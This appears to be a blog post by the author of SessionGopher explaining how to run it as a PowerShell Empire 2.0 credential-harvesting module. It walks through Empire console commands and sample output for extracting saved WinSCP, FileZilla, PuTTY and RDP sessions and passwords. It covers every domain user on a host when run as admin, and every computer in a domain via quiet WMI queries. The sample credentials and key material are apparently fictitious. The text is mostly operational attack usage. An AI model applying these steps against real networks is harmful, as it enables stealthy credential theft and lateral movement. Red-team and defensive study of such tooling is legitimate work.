New in PowerShell Empire 2.0: SessionGopher

By Brandon Arvanaghi @arvanaghi

SessionGopher is now part of PowerShell Empire 2.0. Here’s how to use the module.

Some background: SessionGopher is a PowerShell WinSCP, RDP, FileZilla, PuTTY, SuperPuTTY, .rdp, .ppk, .stdid saved session and password extractor. It automatically deobfuscates and finds passwords for these tools where applicable, and helps you find Unix systems and jump boxes.

Once you have your agent, all there’s left to do is run

(Empire: [agent]) > usemodule credentials/sessiongopher
(Empire: powershell/credentials/sessiongopher) > run

         /  ".   SessionGopher
       ,"  _-"      
     ,"   m m         
  ..+     )      Brandon Arvanaghi
     `m..m       Twitter: @arvanaghi |

WinSCP Sessions

Source   : WIN7-BARVANAGHI\ProfessorX
Session  : adm-angela@
Hostname :
Username : adm-angela
Password : dw!ghtB33ts

FileZilla Sessions

Source   : WIN7-BARVANAGHI\ProfessorX
Name     : Affiliate Jump Box
Password : d3ad0nb4lls@ccurat3
Host     :
User     : MonaLisaVito
Protocol : Use SFTP
Port     : 22

Microsoft Remote Desktop (RDP) Sessions

Source   : WIN7-BARVANAGHI\ProfessorX
Hostname : dc01
Username : CORP\ProfessorX

Source   : WIN7-BARVANAGHI\ProfessorX
Hostname : exchange001
Username : CORP\ProfessorX

PuTTY Sessions

Source   : WIN7-BARVANAGHI\ProfessorX
Session  : Point of Sale Device
Hostname :

SuperPuTTY Sessions

Source        : WIN7-BARVANAGHI\DrOctopus
SessionId     : Design Computer
SessionName   : Design Computer
Host          :
Username      : root
ExtraArgs     : -pw kleen3x41
Port          : 22
Putty Session : Default Settings

Running as admin allows SessionGopher to extract sessions for every single domain user who has ever logged on to that host. This is done by querying the HKEY_USERS hive, which contains subkeys for all users who have ever had interactive sessions on that host. These subkeys store saved session information for these tools regardless of whether the user is logged in, and while admin accounts can access every subkey on the system, non-privileged accounts can only access their own.

Query remote hosts using WMI

To run SessionGopher against remote hosts from your agent, use one of the Target, AllDomain, or iL arguments. All three use WMI to query the remote hosts in question, so they run quietly. Note that all three of these arguments require admin privileges on the remote hosts they query.

AllDomain (switch)

This is where the magic happens. AllDomain runs SessionGopher across every computer in the domain, effectively providing a mapping of the entire domain for you through saved sessions. Beyond credentials, the output of AllDomain should yield the locations of jump boxes and Unix systems in the environment.

(Empire: powershell/credentials/sessiongopher) > set AllDomain True
(Empire: powershell/credentials/sessiongopher) > run

[+] Digging on DC02...

Microsoft RDP Sessions

Source   : DC02\Professorx
Hostname : dc01
Username : CORP\ProfessorX

[+] Digging on WEB01...
[+] Digging on MAIL01...
[+] Digging on WIN7-CLIENT03...

WinSCP Sessions

Source   : WIN7-CLIENT03\JimmyMcGill
Session  : saulgoodman@
Hostname :
Username : saulgoodman
Password : gravit4s

Microsoft RDP Sessions

Source   : WIN7-CLIENT03\JimmyMcGill
Hostname :
Username : CORP\Saul.Goodman

PuTTY Sessions

Source   : WIN7-CLIENT03\MikeEhrmantraut
Session  : Cash_Register
Hostname :

... etc ...


Target runs SessionGopher against a specific remote host you provide.

(Empire: powershell/credentials/sessiongopher) > set Target
(Empire: powershell/credentials/sessiongopher) > run

... output ...


To specify a set of hosts to run against, provide a path to a .txt file on the beaconing host which contains hostnames separated by newlines.

(Empire: powershell/credentials/sessiongopher) > set iL C:\Users\Professor X\Tmp\hosts.txt
(Empire: powershell/credentials/sessiongopher) > run

... output ...

Additional arguments

Thorough (switch)

Use Thorough in combination with any other set of arguments to search the entire filesystem for .rdp, .ppk, and .stdid files. Since it searches the entire filesystem, it is not recommended you use Thorough when querying more than a few hosts at a time. Thorough output automatically parses .ppk and .rdp files and extracts the relevant session details and private key, like so:

(Empire: powershell/credentials/sessiongopher) > set Thorough True
(Empire: powershell/credentials/sessiongopher) > run

PuTTY Private Key Files (.ppk)

Path                   : C:\Users\Brandon Arvanaghi\Documents\mykey.ppk
Protocol               : ssh-rsa
Comment                : rsa-key-20170116
Private Key Encryption : none
Private Key            : {AAABAEazxtDz6E9mDeONOmz07sG/n1eS1pjKI8fOCuuLnQC58LeCTlysOmZ1/iC4, g4HyRpmdKJGhIxj66/	RQ135hVesyk02StleepK4+Tnvz3zmdr4Do5W99qKkrWI3D, T9GOxOIoR9Zc6j57D+fdesJq4ItEIxcQZlXC1F9KZcbXjSJ3iBmCsbG/aRJmMJNx, 
Private MAC            : b7e47819fee39a95eb374a97f939c3c868f880de

Microsoft Remote Desktop .rdp Files

Path                    : C:\Users\Brandon Arvanaghi\Desktop\config\PenTestLab-Win.RDP
Hostname                :
Gateway                 :
Prompts for Credentials : No
Administrative Session  : Does not connect to admin session on remote host

... output ...

u and p

To run in the context of a different user account than the context of the beaconing agent, you can specify a username and password.

(Empire: powershell/credentials/sessiongopher) > set u CORP\Bruce.Wayne
(Empire: powershell/credentials/sessiongopher) > set p ImB@tm@n43~
(Empire: powershell/credentials/sessiongopher) > run

... output ...

To see all these options together, enter options.

(Empire: powershell/credentials/sessiongopher) > options

  Name      Required    Value       Description
  ----      --------    -------     -----------
  p         False                   Password for user account (if -u        
                                    argument provided).                     
  u         False                   User account (e.g.\jerry) for  
                                    when using -Target, -iL, or -AllDomain. 
                                    If not provided, uses current security  
  Thorough  False                   Switch. Searches entire filesystem for  
                                    .ppk, .rdp, .sdtid files. Not           
                                    recommended to use with -AllDomain due  
                                    to time.                                
  o         False                   Switch. Drops a folder of all output in 
                                    .csvs on remote host.                   
  AllDomain False                   Switch. Run against all computers on    
                                    domain. Uses current security context,  
                                    unless -u and -p arguments provided.    
                                    Uses WMI.                               
  iL        False                   Provide path to a .txt file on the      
                                    remote host containing hosts separated  
                                    by newlines to run remotely against.    
                                    Uses WMI.                               
  Agent     True        Z9TU5F4A    Agent to run module on.                 
  Target    False                   Provide a single host to run remotely   
                                    against. Uses WMI.   

I built SessionGopher for simplicity, so you can expect to run without setting any values and still get interesting output. Again, running as admin is preferred.

Have fun, and let me know how it goes!